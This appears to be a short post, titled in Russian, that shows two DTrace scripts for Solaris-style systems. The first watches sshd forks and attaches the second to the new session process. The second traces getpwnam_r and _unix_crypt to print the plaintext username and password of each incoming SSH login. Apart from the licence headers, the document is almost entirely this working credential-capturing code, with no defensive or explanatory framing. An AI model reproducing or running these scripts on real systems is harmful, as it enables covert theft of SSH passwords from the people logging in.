DTrace: входящие ssh тоже ловятся

#!/usr/sbin/dtrace -s

#

# monitor_sshd.d:  DTrace script to catch sshd forks and call catch_ssh_pw.d 

#

# Copyright (C) 2007 Manuel Burki - All rights reserved.

#

# See http://www.c0t0d1s0.org

#

# Redistribution and use in source and binary forms, with or without

# modification, are permitted provided that the following conditions are met:

#

# - Redistributions of source code must retain the above copyright notice, this

#   list of conditions and the following  disclaimer.

#

# - Redistributions in binary form must reproduce the above copyright notice, this

#   list of conditions and the following  disclaimer in the documentation and/or other

#   materials provided with the package.

#

# THIS SOFTWARE IS PROVIDED 'AS IS' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT

# NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND  FITNESS FOR A PARTICULAR

# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,

# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,

# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS

# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT

# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE

# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY  OF SUCH DAMAGE.



#pragma D option destructive

#pragma D option quiet



proc::cfork:create

/execname == "sshd"/

{

   self->rpid++;

}



proc::cfork:create

/execname == "sshd" && self->rpid==3/

{

   system("dtrace -s catch_ssh_pw.d -p %d", pid);

}

#!/usr/sbin/dtrace -s

#

# catch_ssh_pw.d:  DTrace script to catch ssh login credentials 

#

# Copyright (C) 2007 Manuel Burki - All rights reserved.

#

# See http://www.c0t0d1s0.org

#

# Redistribution and use in source and binary forms, with or without

# modification, are permitted provided that the following conditions are met:

#

# - Redistributions of source code must retain the above copyright notice, this

#   list of conditions and the following  disclaimer.

#

# - Redistributions in binary form must reproduce the above copyright notice, this

#   list of conditions and the following  disclaimer in the documentation and/or other

#   materials provided with the package.

#

# THIS SOFTWARE IS PROVIDED 'AS IS' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT

# NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND  FITNESS FOR A PARTICULAR

# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,

# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,

# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS

# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT

# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE

# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY  OF SUCH DAMAGE.



#pragma D option destructive

#pragma D option quiet



pid$target::getpwnam_r:entry

{

    self->namecount++;

}



pid$target::getpwnam_r:entry

/self->namecount == 1/

{

    trace("Username: ");

    trace(copyinstr(arg0));

}



pid$target::_unix_crypt:entry

{

    trace(" Password: ");

    trace(copyinstr(arg0));

    exit(0);

}